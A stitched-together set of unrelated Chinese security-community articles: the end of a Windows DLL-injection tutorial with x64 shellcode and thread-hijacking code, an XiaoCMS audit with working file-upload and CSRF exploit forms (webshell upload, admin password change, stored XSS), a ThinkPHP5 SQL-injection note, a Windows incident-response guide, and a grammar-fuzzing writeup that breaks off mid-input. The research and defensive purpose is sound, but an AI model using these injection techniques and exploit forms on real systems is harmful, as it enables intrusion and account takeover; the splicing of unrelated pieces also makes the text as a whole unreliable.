0x9c, // pushfq
0x51, // push rcx
0x52, // push rdx
0x53, // push rbx
0x55, // push rbp
0x56, // push rsi
0x57, // push rdi
0x41, 0x50, // push r8
0x41, 0x51, // push r9
0x41, 0x52, // push r10
0x41, 0x53, // push r11
0x41, 0x54, // push r12
0x41, 0x55, // push r13
0x41, 0x56, // push r14
0x41, 0x57, // push r15
0x68,0xef,0xbe,0xad,0xde, // fastcall convention
0x48, 0xB9, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rcx, 0CCCCCCCCCCCCCCCCh (placeholder for DLL path name)
0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (placeholder for LoadLibrary)
0xFF, 0xD0, // call rax (call LoadLibrary)
0x58, // pop dummy
0x41, 0x5F, // pop r15
0x41, 0x5E, // pop r14
0x41, 0x5D, // pop r13
0x41, 0x5C, // pop r12
0x41, 0x5B, // pop r11
0x41, 0x5A, // pop r10
0x41, 0x59, // pop r9
0x41, 0x58, // pop r8
0x5F, // pop rdi
0x5E, // pop rsi
0x5D, // pop rbp
0x5B, // pop rbx
0x5A, // pop rdx
0x59, // pop rcx
0x9D, // popfq
0x58, // pop rax
0xC3 // ret
在将这个代码注入目标进程之前，需要填充/修补一些占位符：
返回地址（代码完成执行后线程应该恢复的地址）。
DLL路径名。
LoadLibrary()的地址。
接下来就是劫持、暂停、注入和恢复线程发挥作用的时候。
我们首先需要连接到目标/远程进程，并将内存分配到目标/远程进程中。请注意，我们需要分配具有读取和写入权限的内存来保存DLL路径名，以及存放加载DLL的汇编代码。
LPVOID lpDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
stub = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
接下来，我们需要获得在目标/远程进程上运行的一个线程的上下文（将要注入我们的汇编代码的线程）。
为找到线程，我们可以使用函数getThreadID()，它位于‘auxiliary.cpp’中。
一旦我们获得了线程id，就可以设置线程上下文了。
hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, threadID);
接下来，我们需要暂停线程来捕获其上下文。线程的上下文实际上就是其寄存器的状态。我们特别感兴趣的寄存器是EIP / RIP（有时称为IP指令指针）。
由于线程被暂停，所以我们可以更改EIP / RIP的值，并强制它继续在不同的路径（我们的代码洞）中执行。
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread, &ctx);
DWORD64 oldIP = ctx.Rip;
ctx.Rip = (DWORD64)stub;
ctx.ContextFlags = CONTEXT_CONTROL;
WriteProcessMemory(hProcess, (void *)stub, &sc, stubLen, NULL); // write code cave
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
所以，我们暂停线程，捕获上下文，从中提取EIP / RIP。当我们注入的代码运行完成时，保存的这些数据将用来恢复现场。新的EIP /
RIP设置为我们注入的代码位置。
然后我们使用返回地址、DLL路径名地址和LoadLibrary()地址对所有占位符进行填补。
一旦线程开始执行，我们的DLL将被加载，它一旦运行完成，将返回到被挂起的位置，并在那里恢复执行。
如果你想练习调试的话，这里有具体的操作指南。启动要注入的应用程序，如notepad.exe。运行injectAllTheThings_64.exe与x64dbg，如下所示。
也就是说，我们可以使用以下命令行（具体视您的环境而定）：
"C:UsersruiDocumentsVisual Studio 2013ProjectsinjectAllTheThingsbininjectAllTheThings_64.exe" -t 6 notepad.exe "c:UsersruiDocumentsVisual Studio 2013ProjectsinjectAllTheThingsbindllmain_64.dll"
在调用WriteProcessMemory()处设置断点，如下所示。
当代码运行时，断点触发，这时要注意寄存器RDX的内存地址。至于为什么要关注RDX，可以阅读x64调用约定方面的资料。
利用单步方式（F8）调用WriteProcessMemory()，启动x64dbg的另一个实例，并连接到'notepad.exe'。转到以前复制的地址（RDX中的地址），按“Ctrl
+ g”，您将看到我们的代码，如下所示。
太棒了！
现在，请在这个shellcode的开头设置一个断点。转到被调试进程的injectAllTheThings，让它运行。正如在下面看到的，我们的断点触发，现在可以单步调试代码，进行仔细研究了。
一旦调用LoadLibrary()了函数，就可以加载我们的DLL了。
这真是太好了。
我们的shellcode将返回到之前保存的RIP的地址处，notepad.exe将恢复执行。
完整的源代码，请参阅t_suspendInjectResume.cpp。
**反射型DLL注射**
我还将Stephen
Fewer（这种技术的先驱）代码引入了这个“injectAllTheThings”项目，此外，我还构建了一个反射型DLL项目使用这种技术。请注意，我们正在注入的DLL必须使用适当的include和options进行编译。
由于反射型DLL注入会将整个DLL复制到内存中，因此避免了使用进程注册DLL。我们已经完成了一切繁重的工作。要在DLL中加载内存时获取入口点，只需使用Stephen
Fewer的代码即可。他的项目中包含的“LoadRemoteLibraryR（）”函数为我们完成了这些工作。我们使用GetReflectiveLoaderOffset（）来确定我们进程内存中的偏移量，然后使用该偏移加上目标/远程进程（我们写入DLL的位置）中的内存的基地址作为执行起始点。
有点太复杂了？是的，确实如此。下面是实现这一目标的4个主要步骤。
1.将DLL头写入内存
2.将每个节写入内存（通过解析节表）
3.检测import并加载所有其他已导入的DLL
4.调用DllMain入口点
与其他方法相比，这种技术提供了强大的隐蔽性，并在Metasploit中大量应用。
如果你想了解更多详情，请访问官方的[GitHub信息库](https://github.com/stephenfewer/ReflectiveDLLInjection)。此外，请务必阅读[Stephen
Fewer的文章](http://www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf)。
另外，最好读一下[MemoryModule](https://github.com/fancycode/MemoryModule/)的作者Joachim
Bauch写的一篇[文章](https://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/)，讲述了如何从内存加载一个DLL，同时，这也是在没有LoadLibrary（）的情况下[手动加载Win32 / 64
DLL的好方法](https://www.codeproject.com/Tips/430684/Loading-Win-DLLs-manually-without-LoadLibrary)。
**代码**
当然，还有一些复杂的注入方法，所以后面还会更新injectAllTheThings项目。我最近看到的最有趣的一些是：
[DOUBLEPULSAR](https://countercept.com/our-thinking/doublepulsar-usermode-analysis-generic-reflective-dll-loader/)使用的一种方法
由[@zerosum0x0](https://twitter.com/zerosum0x0)编写的，使用SetThreadContext()和[NtContinue()](https://zerosum0x0.blogspot.co.uk/2017/07/threadcontinue-reflective-injection.html)的反射型DLL注入技术，此处提供了可用的[代码](https://github.com/zerosum0x0/ThreadContinue)。
我上面描述的所有技术都是我在[GitHub](https://github.com/fdiskyou/injectAllTheThings/)上提供的一个项目中已经实现的。此外，我还提供了每种技术所需的DLL。下表可以了解实际实现的内容以及使用方法。
不用说，为了安全起见，最好始终使用injectAllTheThings_32.exe注入32位进程或使用AllTheThings_64.exe注入64位进程。当然，您也可以使用injectAllTheThings_64.exe注入32位进程。其实我还没有实现这一点，但是我可能稍后会再试一次，你可以试着用[WoW64](http://blog.rewolf.pl/blog/?p=102)鼓捣一下64位进程。Metasploit的smart_migrate基本上就是这种情况，具体请看[这里](https://github.com/rapid7/meterpreter/blob/5e24206d510a48db284d5f399a6951cd1b4c754b/source/common/arch/win/i386/base_inject.c)。
本文涉及的整个项目的所有代码，包括DLL，都可从[GitHub](https://github.com/fdiskyou/injectAllTheThings/)下载。当然，如果您有兴致的话，也可以自己试着编译32位和64位代码。 | 社区文章 |
# XIAO CMS审计
翻安全客的时候看到xiao cms爆了6个cve审计一下
## 任意目录删除
跟进一下database.php
看到action是import找到那个函数
可以看到 paths 这个post参数并没有对`./`进行过滤，可以进行任意文件删除，而且payload的paths参数应该是post=。=
放一个自己的目录测试一下
创建了一个`ckj123`的目录，试下能不能删除
成功
## 任意文件上传
很明显的可以看到uploadfile.php文件
找到上传文件的地方
所有的upload需要一个upload函数
看到他加载了一个叫做upload的类
然后获得了文件最后的扩展名，判断了是图片还是别的文件
跟进upload
跟进upload类
里面有个过滤的地方
获得后缀，跟限制的类型进行比较
可以看到这个type是需要自己传进去的
总共两个action
下面那个的type是规定死的
发现上面那个的type是需要自己传进去的这就可以传php文件了
<html>
<body>
<form action="http://127.0.0.1:8080/admin/index.php?c=uploadfile&a=uploadify_upload&type=php&size=1000" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>
CVE给的payload不对。。
成功了，然后连接一下这个马
## CSRF
他没有判断referer是从哪里来的，可以随意csrf，举两个例子
任意添加一个xss面板
<html>
<body>
<form action="http://127.0.0.1:8080/admin/index.php?c=content&a=add&catid=3" method="POST">
<input type="hidden" name="data[catid]" value="3" />
<input type="hidden" name="data[title]" value="test" />
<input type="hidden" name="data[thumb]" value="" />
<input type="hidden" name="data[keywords]" value="" />
<input type="hidden" name="data[description]" value="" />
<input type="hidden" name="data[content]" value="<script>alert(1)</script>" />
<input type="hidden" name="data[xiao_auto_description]" value="1" />
<input type="hidden" name="data[xiao_auto_thumb]" value="1" />
<input type="hidden" name="data[xiao_download_image]" value="1" />
<input type="hidden" name="data[time]" value="2018-11-02+15:05:43" />
<input type="hidden" name="data[hits]" value="" />
<input type="hidden" name="submit" value="提交" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
改管理员的密码
<form action="http://127.0.0.1:8080/admin/index.php?c=index&a=my" method="POST">
<input type="hidden" name="data[password]" value="1234567">
<input type="hidden" name="submit" value="提交" />
<input type="submit" value="Submit request" />
</form>
## 后记
xss的漏洞没看，以后有空补上 | 社区文章 |
0x00 说说说说说说说说说说说明
filterExp函数thinkphp5框架核心的安全过滤函数，他被配置与input函数一起使用，
他的前生是I函数，thinkphp5重写了数据库操作类方法，filterExp函数没有及时更正更新导致sql注入。
0x01漏洞利用
凌晨5点了，差不多猝死了，原理什么的就放在最后面了，直接来看如何利用把。QAQ
1，首先先看一波 input函数 了解这个东西何物先
漏洞场景方法1：
漏洞场景方法2：
0x02漏洞分析
上面我们展示了无聊的漏洞利用方法，这里我们对这个漏洞进行分析
那就看一下 select方法是如何定义的
文件：thinkphp\library\think\db\Builder.php
方法：select()
这里来看看TP系统核心安全函数之一 input函数，他可以帮助我们获取各种变量与自动过滤的功能等。
文件： thinkphp\library\think\Request.php
方法： input()
从这个函数来说，我们一般情况下就算可以控制传入的变量，也会因为多个空格导致匹配不上，但是这里因为TP5重写了数据库操作的方法，忽略了一些东西，所以导致我们可以投机取巧的绕过他。如下图
这个是TP5 支持的表达式，在看看input会进行过滤的表达式
通过对比是否就有一个比较清楚的概念了？没错TP5 新添加了一个表达式 not like 但是在 filterExp中又没有进行过滤，最终导致了可注入。
修复方法：
打开文件：\thinkphp\library\think\Request.php
打开方法：filterExp();
添加正则：/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT
BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i
222 | 社区文章 |
## Windows系统事件排查
一般情况下，各种木马病毒等恶意程序都会在计算机开机启动过程中自行启动。
在Windows系统中查看启动项，首先要排查的就是开机自启项。开始菜单里的程序中的自启
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
查看应用程序中是否存在陌生的程序或者可疑程序(非机主自己安装)。
启动项中，可疑文件名，
可以通过`msconfig`查看启动项，win10系统的启动项转移到任务管理器中查看了
查看是否存在可疑项。
查看缓存文件，C盘一般在`C:/Windows/Temp`
这些都是Windows产生的临时文件，比如：WinRAR等压缩工具对压缩包进行解压的时候会先解压在临时文件夹中，然后从这个临时文件夹中移动到目标文件夹。
`Recent`系统文件夹，里面存放着最近使用的文档快捷方式，可以看到近期修改的文件以及修改日期。
打开方式：WIN+R -> `%UserProfile%\Recent`
也可以直接通过日期选项进行排查
再有就是查看文件的创建时间、修改时间、访问时间，黑客一般通过菜刀蚁剑类工具对文件做出修改，后面可以通过文件修改时间来判断该文件是否可疑。如果修改时间在创建时间之前，名显就是可疑文件了。
接下来是注册表，在计算机中启动项分三种
1. 一般启动项内容项在`计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
用户设置的启动项，删除不影响系统运行，但是一般查看的时候重点查看这里，因为这里是`用户设置的`
1. 另一个是系统设置的启动项，删除需谨慎，一般是第三方软件的驱动程序。
1. 第三个启动项是很重要的，不能随便删除，都则会影响正常操作系统的正常运行。`计算机\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run`
入侵排查思路：
1. 弱口令修改
2. 第一时间禁掉发现的可以账号和新增账号，使用控制面版中的用户账户工具
也可以看D盾_web来检测是否存在克隆账号或者隐藏账号
1. 查看各个用户的登录时间和用户名是否异常
## Windows系统信息排查
1. 计划任务
控制面板的管理工具中存在很多工具，其中就有任务计划程序
双击查看该程序会发现
这里列有全部的计划任务，正在运行的和准备就绪的任务都可以查看。
计划任务排查一般是查看操作，操作中显示这个任务中哪个程序在执行，查看有无危险命令和未知的可疑软件。还有就是需要注意那些触发器是`当用户登录时`的任务。不熟悉的就给它禁掉。
1. 异常端口和进程的排查
在Windows系统中查看开放端口以及端口的连接情况，防止可疑连接。
901和903端口为不常见的开放端口，所以可以通过查看它的PID来进一步查询相对应的进程。
对应的VMware服务。
查看进程列表的方法还有`msinfo32`
也可以通过D盾的web查杀工具，在工具中进行进程查看，重点关注一下没有签名信息的进程。
## 发现隐藏后门
1. 文件MD5校验
在网上下载文件后，有些网站会在压缩包的注释处或者是下载页的明显位置放一段MD5校验值。为了防止用户需要时下载到被黑客恶意修改后的文件。
在Windows系统中进行文件的md5值的计算用到`certutil`——一个命令行程序
> 早期版本的 certutil 可能无法提供本文档中所述的所有选项。 可以通过运行 或 来查看特定版本的 certutil 提供 `certutil
> -?` 的所有选项 `certutil <parameter> -?` 。
这是微软官方的帮助文档——<https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/certutil>
一般使用`hashfile`参数来生成并显示文件上的加密函数
1. 文件对比
使用DVWA文件夹来做例子，手动给一个文件中加上一句话木马以及添加一个木马文件，测试一下
双击异常文件，软件也可以得出具体是哪个片段的代码不同。
## Windows日志分析
### 系统日志
默认存放路径
NT/Win2000/XP/Server 2003
C:\WINDOWS\system32\config\SysEvent.Evt
Vista/Win7/Win8//Win10/Server 2008/Server 2012
C:\WINDOWS\system32\winevt\Logs\System.evtx
win10系统日志文件默认存放在`%SystemRoot%\System32\Winevt\Logs\`下，该文件夹下全是Windows的各种事件日志文件。记录操作系统组件产生的事件，主要包括驱动程序、系统组件和应用软件的崩溃以及数据。
看日志之前要先了解一下Windows系统日志信息，Windows的日志文件本质上是数据库，其中包含的元素：日期时间，用户名，计算机名，事件ID，来源，类型，描述，数据等信息都相当于相应的字段。
Windows事件日志有五种事件类型，所有的事件必须且只能拥有其中一种事件类型。
1. 信息(Information)
信息事件指应用程序或服务的成功操作的事件，比如：登录成功，搜索服务等成功操作都会保留在信息事件的日志文件中。
1. 警告(Warning)
警告事件指不是直接的、主要的，但是会导致将来问题发生的问题。例如，当磁盘空间不足或未找到打印机时，都会记录一个“警告”事件。
这里是数据库的格式问题报出一个警告事件。
1. 错误(Error)
错误事件指用户应该知道的重要的问题。错误事件通常指功能和数据的丢失。例如, 如果一个服务不能作为系统引导被加载，那么它会产生一个错误事件。
1. 成功审核(Success audit)
成功的审核安全访问尝试，主要是指安全性日志，这里记录着用户登录/注销、对象访问、特权使用、账户管理、策略更改、详细跟踪、目录服务访问、账户登录等事件，例如所有的成功登录系统都会被记录为“成功审核”事件
1. 失败审核
失败的审核安全登录尝试，例如用户试图访问网络驱动器失败，则该尝试会被作为失败审核事件记录下来。
### 事件ID
对于Windows事件日志分析，不同的事件ID代表着不同的意义，摘录一些常见的安全事件的说明，一个登录的行为都会给挂上事件ID，比如：登录成功，登录失败也有自己对应的事件ID
其中还有一些其它的ID，比如4672(使用超级管理员进行登录)也叫做特权登录，通过win10自带的事件查看器可以很方便的看出任务类别为`Special
Logon`的特权登录操作
系统自带的事件查看器才是最好用的工具。自带筛选功能，可以根据事件ID或者事件类型，事件发生的时间范围，等字段来进行筛选并整理日志，返回更加方便查看的结果。
这个是为了数据效果，在虚拟机中模拟多次登录失败而生成的日志。可以看到通过使用这里的筛选功能，根据时间，时间的级别，日志类型，事件来源，事件ID，任务类别，关键字，以及用户来筛选找出相应日志记录。
成功登录的事件都会标记一个登录类型，不同登录类型代表不同的方式
## 浏览器信息记录
浏览器中的信息也是在应急响应中对黑客的攻击手段进行复现查看的一种方法，一般在浏览器中会保存浏览记录，下载记录，还有cookie信息等内容。
浏览记录：可以查看黑客在拿到此台计算机后使用浏览器进行了哪些操作，很有可能使用浏览器去下载事先准备好的放在互联网上的后门木马或者勒索病毒等危险内容。以Google浏览器为例，在需要查看历史记录的时候使用`chrome://history/`
如果浏览器的历史记录已经被删除掉了，怎么查看，这里有几种常用的方法。
1. 如果电脑的谷歌浏览器是登录了账号的状态，在谷歌还未同步删除之前，可以在手机上进行查看浏览记录。
2. 还可以通过[Google活动](https://myactivity.google.com/)可以看到这里是查看到了我之前4月25日的访问记录。我认为这是比较方便的。
1. 恢复已删除 Chrome 来自Google外卖的备份文件的历史记录，可以查看近30天的历史记录活动。（需要自行备份，不合适应急响应中使用）
1. 使用数据恢复软件来恢复历史记录
Chrome 生成文件以存储Windows或macOS上的浏览历史记录。 文件名是“ History”，看起来像
删除或清除历史记录后，文件将被删除， Chrome 之后，当您开始查看其他页面时，将生成一个新页面。
使用[Data Recovery Do](https://ios-data-recovery.com/download/data-recovery.exe)安装在存储历史文件的磁盘以外的磁盘（D盘）
下载记录也是最重要的信息来源，可以看到黑客是否在互联网上下载了可疑文件或者程序。一般查杀使用D盾即够用。也可以使用在线恶意程序或文档检测工具。
## 总结
内容不多，但是耗费了一周时间来进行总结，意在为应急响应的学习开个好头，以便为后续的操作和学习打下一个坚实的基础吧。应急响应技术是针对黑客的攻击快速的做出解决方案去解决问题。这个过程是非常有趣的。
### 学习参考内容
<https://brownfly.gitbook.io/emergency-response/>
<https://github.com/Bypass007/Emergency-Response-Notes>
<https://blog.csdn.net/uz31415926/article/details/89444303> | 社区文章 |
# Fuzzing with Nuatilus
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 在学习了`Fishing for Deep Bugs with
> Grammars`后迫不及待的想要上手试试Nautilus去fuzz一些CTF中遇到的解释器类型的题目。正好项目也给出了一个target，下面记录了我的实践过程。
## 静态分析 && 动态分析
在拿到一个target尤其是解释器类型的题目后，一般最好不要直接上fuzz，先分析下程序逻辑，理清程序在哪里读取了我们的输入，在哪里对输入进行了检查，在哪里执行我们的输入，以及尝试去发现一些可疑的逻辑使得我们能更有针对性的制定fuzz策略。
[$] file fuzzing-5th
fuzzing-5th: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, stripped
首先明确target是x86下的32位程序，接着ida配合gdb调试分析。
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
_DWORD v5[30]; // [esp-7Ch] [ebp-84h] BYREF
int (__cdecl **v6)(_DWORD, char *, int); // [esp-4h] [ebp-Ch] BYREF
signal(14, (__sighandler_t)sub_AA40);
alarm(0x3Cu);
setvbuf(stdout, 0, 2, 0);
v3 = time(0);
srand(v3);
v6 = (int (__cdecl **)(_DWORD, char *, int))(&`vtable for'CIOStdioConnection + 2);
sub_DF0((int)v5);
sub_F00((int)v5);
sub_1000(v5, &v6);
sub_E80((int)v5);
return 0;
}
main函数中v6被赋予了一个貌似虚表函数指针，后面应该会调用，先往下看。
`sub_DF0((int)v5)`v5是一段栈上的数组，`sub_DF0`对v5进行了一系列的赋值
int __cdecl sub_DF0(int a1)
{
int result; // eax
func1((_DWORD *)(a1 + 4));
func2(a1 + 16, a1);
*(_DWORD *)(a1 + 0x60) = 0;
result = func3(a1 + 100);
*(_DWORD *)(a1 + 0x74) = 0;
return result;
}
func1对v5[1]，v5[2]，v5[3]赋值
before:
pwndbg> x/80wx 0xffffcd44
0xffffcd44: 0x00000001 0xf7ffd940 0xf7caef5e 0xf7c34000
0xffffcd54: 0x00000000 0x00000000 0xf7ffd000 0x00000000
0xffffcd64: 0x00004a00 0xf7c64589 0xf7e0f808 0xf7fb0d20
0xffffcd74: 0xffffce64 0xf7c64589 0x565658fa 0x5656cff4
0xffffcd84: 0xf7e0c000 0x00000001 0x565559ed 0xf7e0c3fc
0xffffcd94: 0xf7c646bb 0x5656cff4 0x56565871 0xf7ed1330
0xffffcda4: 0xf7c646bb 0x5656cff4 0xf7c64785 0xf7fe59c0
0xffffcdb4: 0x00000000 0x56565859 0x5656cee0 0x00000000
after:
pwndbg> x/80wx 0xffffcd44
0xffffcd44: 0x00000001 0xffffcd49 0xffffcd48 0x00000000
0xffffcd54: 0x00000000 0x00000000 0xf7ffd000 0x00000000
0xffffcd64: 0x00004a00 0xf7c64589 0xf7e0f808 0xf7fb0d20
0xffffcd74: 0xffffce64 0xf7c64589 0x565658fa 0x5656cff4
0xffffcd84: 0xf7e0c000 0x00000001 0x565559ed 0xf7e0c3fc
0xffffcd94: 0xf7c646bb 0x5656cff4 0x56565871 0xf7ed1330
0xffffcda4: 0xf7c646bb 0x5656cff4 0xf7c64785 0xf7fe59c0
0xffffcdb4: 0x00000000 0x56565859 0x5656cee0 0x00000000
func2就是对v5[4]到v5[23]赋值
pwndbg> x/80wx 0xffffcd44
0xffffcd44: 0x00000001 0xffffcd49 0xffffcd48 0x00000000
0xffffcd54: 0x00000000 0x00000000 0xffffcd59 0xffffcd5c
0xffffcd64: 0x00000004 0xffffcd4d 0xffffcd68 0x0000001c
0xffffcd74: 0xffffcd75 0xffffcd74 0x00000000 0xffffcd81
0xffffcd84: 0xffffcd80 0x00000000 0xffffcd8d 0xffffcd8c
0xffffcd94: 0x00000000 0x00000000 0x00000000 0xffffcd44
0xffffcda4: 0xf7c646bb 0x5656cff4 0xf7c64785 0xf7fe59c0
0xffffcdb4: 0x00000000 0x56565859 0x5656cee0 0x00000000
之后v5[24]赋值为0，func3对v5[25]到v5[28]赋值，最后v5[29]为0。
pwndbg> x/80wx 0xffffcd44
0xffffcd44: 0x00000001 0xffffcd49 0xffffcd48 0x00000000
0xffffcd54: 0x00000000 0x00000000 0xffffcd59 0xffffcd5c
0xffffcd64: 0x00000004 0xffffcd4d 0xffffcd68 0x0000001c
0xffffcd74: 0xffffcd75 0xffffcd74 0x00000000 0xffffcd81
0xffffcd84: 0xffffcd80 0x00000000 0xffffcd8d 0xffffcd8c
0xffffcd94: 0x00000000 0x00000000 0x00000000 0xffffcd44
0xffffcda4: 0x00000000 0xffffcda9 0xffffcda8 0x00000000
0xffffcdb4: 0x00000000 0x00000000 0x5656cee0 0x00000000
对v5辅助完后调用`sub_F00((int)v5)`：
int __cdecl sub_F00(int v5)
{
_DWORD *v1; // eax
int i; // edx
char v3; // al
int v4; // edx
v1 = (_DWORD *)operator new(17352u);
for ( i = 0; i != 4080; ++i )
v1[i + 3] = 0;
*v1 = 0;
v1[1] = 0;
*(_DWORD *)(v5 + 116) = v1;
v3 = sub_C3E0(v5 + 16, (int)v1);
v4 = 0;
if ( v3 )
{
v4 = 1;
*(_DWORD *)(v5 + 112) = *(_DWORD *)(v5 + 116);
}
return v4;
}
大体行为是先new了一个0x43c8大小的对堆块，堆块前4080*4大小的内存置0，然后将堆块指针ptr赋值给v5[29]，v5[22]，v5[28]。
pwndbg> x/80wx 0xffffcd44
0xffffcd44: 0x00000001 0xffffcd49 0xffffcd48 0x00000000
0xffffcd54: 0x00000000 0x00000000 0xffffcd59 0xffffcd5c
0xffffcd64: 0x00000004 0xffffcd4d 0xffffcd68 0x0000001c
0xffffcd74: 0xffffcd75 0xffffcd74 0x00000000 0xffffcd81
0xffffcd84: 0xffffcd80 0x00000000 0xffffcd8d 0xffffcd8c
0xffffcd94: 0x00000000 0x00000000 0x56572b70 0xffffcd44
0xffffcda4: 0x00000000 0xffffcda9 0xffffcda8 0x00000000
0xffffcdb4: 0x56572b70 0x56572b70 0x5656cee0 0x00000000
简单的跟了一下堆栈之后感觉依然很迷，继续往下分析`sub_1000(v5, &v6);`
int __cdecl sub_1000(_DWORD *v5, int (__cdecl ***v6)(_DWORD, char *, int))
{
int result; // eax
int i; // edi
int (__cdecl **v4)(_DWORD, char *, int); // eax
int ret; // eax
char buf[1025]; // [esp+2Bh] [ebp-421h] BYREF
unsigned int v7; // [esp+42Ch] [ebp-20h]
v7 = __readgsdword(0x14u);
result = 0;
if ( v6 )
{
v5[24] = v6;
for ( i = 0; ; ++i )
{
v4 = *v6;
*v5 = i + 1;
ret = (*v4)(v6, buf, 0x400); // call io
if ( ret <= 0 )
{
puts("Connection closed");
result = 1;
goto LABEL_8;
}
if ( !(unsigned __int8)check_run((int)v5, i, (int)buf, ret) )// check and run
{
result = 0;
goto LABEL_8;
}
if ( i == 49999 )
break;
}
result = 1;
}
LABEL_8:
if ( __readgsdword(0x14u) != v7 )
sub_108D0();
return result;
}
主要逻辑在循环体中先调用`(*v4)(v6, buf, 0x400)`读取我们的输入，之后调用`(unsigned
__int8)check_run((int)v5, i, (int)buf, ret)`检查并执行输入。
int __cdecl check(int v5, int i, int buf, int ret)
{
int *v4; // edi
v4 = (int *)(v5 + 4);
if ( (unsigned __int8)check1(v5 + 4, buf, ret, (_DWORD *)v5, i) )// check identifier
check2((char *)(v5 + 16), v4, v5); // check expression and exec
sub_AC70((void **)v4);
return 1;
}
check1主要是对标识符的检查，限制标识符只能字母数字和下划线’_’构成，且其最大长度为65。
check2主要对表达式以及语法规则进行检查，内容比较复杂，我也是边逆边猜，猜出了一些语法如下形式：
[$] ./fuzzing-5th [23:17:51]
func a(x)
var s = 0
var t = 5
while t > 0
t = t - 1
s = s + 1
if s == x
return 555
return x
run a(1)
RESULT: 1 (1)
run a(5)
RESULT: 555 (22B)
即可以定义函数，在函数内可以定义局部变量，使用if和while语法，执行算术运算以及通过return返回。
其执行部分为：
v17 = sub_101D0((int)a2, v8);
result = exec(a1, v17, (int)a2, (_DWORD *)a3, v5);
if ( (_BYTE)result )
{
v18 = a1;
result = *((_DWORD *)a1 + 5);
if ( (result & 1) == 0 )
{
if ( result )
{
if ( *(_DWORD *)result )
{
if ( *(_DWORD *)result != 4 )
{
v10 = "Invalid run expression";
goto LABEL_20;
}
v19 = *(_DWORD *)(result + 24);
v18 = (char *)*((_DWORD *)a1 + 18);
output = 0;
if ( v19 <= 0xFEF )
output = *(_DWORD *)&v18[4 * v19 + 12];
}
else
{
output = *(_DWORD *)(result + 12);
}
((void (__thiscall *)(char *, char *, int, int, const char *, int, int))__sprintf_chk)(
v18,
v39,
1,
1024,
"RESULT: %d (%X)\n",
output,
output);
result = ::output(a3, v39);
}
}
}
exec是最后对输入进行执行的部分，其逻辑较比较复杂，作为前期的fuzz准备我们可以先跳过。在有了在这些分析后我们大概有个了fuzz的思路：程序拥有对输入语法的check因此适合选择基于文法的nautilus进行fuzz，同时还要提供一个CFG文法，nautilus会针对我们提供的CFG构造语法树，并对语法树进行变异等，具体变异策略可以参考我之前Fishing
for Deep Bugs with Grammars的学习笔记。
那么接下来就可以开始为fuzz做准备了。
## Fuzzing && Exploitation
1、搭建nautilus2.0的环境。2.0支持了AFL-Qemu mode，这样正是我们无源码fuzz需要的。（注意nautilus需要rust的环境）
git clone '[email protected]:nautilus-fuzz/nautilus.git'
cd nautilus
cargo run /path/to/AFLplusplus/afl-qemu-trace -g grammars/grammar_py_example.py -- ./fuzzing-t5th @@ //fuzzing with AFL-Qemu mode
cargo run --bin generator -- -g grammars/grammar_py_exmaple.py -t 100 // generator testcase
2、构造CFG文法：
我先尝试了简单的直接”run”+算数表达式的语法格式：
ctx.rule("START", "run {E}\r\n")
ctx.rule("E", "({E} + {A})")
ctx.rule("E", "({E} - {A})")
ctx.rule("E", "({E} * {A})")
ctx.rule("E", "({E} / {A})")
ctx.rule("E", "({E} && {A})")
ctx.rule("E", "({E} || {A})")
ctx.regex("A", "[0-9]+")
ctx.regex("E", "[0-9]+")
执行情况：
毫无收获，看来”run”+arithmetic expression的语法触发的基本块不够多…
由于我们还可以定义函数，因此尝试将算术表达式放到return语句里执行，修改一下CFG：
ctx.rule("START", "func a(x)\n\treturn {E}\nrun a({Argu})\r\n")
ctx.rule("E", "({E} + {A})")
ctx.rule("E", "({E} - {A})")
ctx.rule("E", "({E} * {A})")
ctx.rule("E", "({E} / {A})")
ctx.rule("E", "({E} && {A})")
ctx.rule("E", "({E} || {A})")
ctx.regex("A", "[0-9]+")
ctx.regex("E", "[0-9]+")
ctx.regex("Argu", "[0-9]+")
执行情况：
看上去也没什么作用，但我构造的CFG只能产生常树之间的算数运算式，如过涉及变量的话应该会有所不同。再次修改：
ctx.rule("START", "func {Id}({Argu})\n\treturn {Expr}\nrun {Id}({X})\n")
ctx.rule("Id", "a")
ctx.rule("Argu", "x")
ctx.rule("Expr", "({Argu} + {E})")
ctx.rule("Expr", "({Argu} - {E})")
ctx.rule("Expr", "({Argu} * {E})")
ctx.rule("Expr", "({Argu} / {E})")
ctx.rule("Expr", "({Argu} && {E})")
ctx.rule("Expr", "({Argu} || {E})")
ctx.rule("E", "({E} - {A})")
ctx.rule("E", "({E} * {A})")
ctx.rule("E", "({E} / {A})")
ctx.rule("E", "({E} && {A})")
ctx.rule("E", "({E} || {A})")
ctx.regex("X", "^[0-9]{1,20}$")
ctx.regex("A", "^[0-9]{1,20}$")
ctx.regex("E", "^[0-9]{1,20}$")
一上来就得到了几个sig crash：
root@an9ela:/home/an9ela/fuzzing/nautilus# ./fuzzing-5th
func a(x)
